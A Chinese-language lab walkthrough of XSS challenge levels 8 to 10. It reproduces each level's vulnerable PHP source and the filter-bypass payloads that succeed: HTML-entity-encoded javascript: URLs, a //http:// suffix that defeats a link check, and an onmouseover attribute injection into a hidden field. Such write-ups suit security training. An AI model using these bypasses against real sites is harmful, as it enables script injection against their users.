level8

这应该是一个存储型的xss
</center><center><BR><a href="<scr_ipt>alert('xss')</scr_ipt>">友情链接</a></center><center><img src=level8.jpg></center>
参照level5 level6
先闭合<a>标签,然后采用不含<script>和on关键字的弹窗语句
"> <a hRef="javascript:alert(1)">xss</a>//
失败;
这次应该是转换成小写,然后对所有关键字替换为-,而不是为空;
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
在过滤前将keyword转化为小写,并且过滤了script、on、src、data、href、双引号
这次我们就没办法进行重写的办法进行绕过了;
只能通过编码重写的办法进行绕过;
我们不需要闭a标签,只需要把javascript:alert('xss')加入到href中;
借助hackbar
javascript:alert('xss')
把script转换为HTML实体
javascript:alert('xss')

或者只把script的任意一个字母转换为实体即可;
这样就可绕过;
level9

<a href="您的链接不合法?有没有!">友情链接</a>
这里加入了对连接是否合法的判断;
<a href="http://www.baidu.com">友情链接</a>
baidu成功;
也就是添加的链接必须含有http://
http://javascript:alert('xss')
<a href="http://javascript:alert('xss')">
虽然添加进去了,但好像没啥用;
后台代码:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
strpos() 函数
查找 "php" 在字符串中第一次出现的位置:
===是包括变量值与类型完全相等,而==只是比较两个数的值是否相等。
javascript:alert('xss')http://
可
<a href="javascript:alert('xss')http://">
javascript:alert('xss');http://
javascript:alert('xss') //http://

成功;
level10;

<script>alert('xss')</script>
<h2 align=center>没有找到和<script>alert('xss')</script>相关的结果.</h2><center>
被转换为实体类;
考虑转码;
<script>alert('xss')</script>
没成功;

没显示出来;
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
还过滤了尖括号
</h2><a href="javascript:alert(1)">xss</a>//
。。。
发现还有几个隐藏的参数;
<input name="t_link" value="" type="hidden"> <input name="t_history" value="" type="hidden"> <input name="t_sort" value="" type="hidden">
传入值
<input name="t_link" value="" type="hidden"> <input name="t_history" value="" type="hidden"> <input name="t_sort" value="1" type="hidden">
发现只有t_sort的值发生了改变;
" onmouseover=alert('xss')

把type=hidden 删掉;
来源:https://www.cnblogs.com/delongzhang/p/12217399.html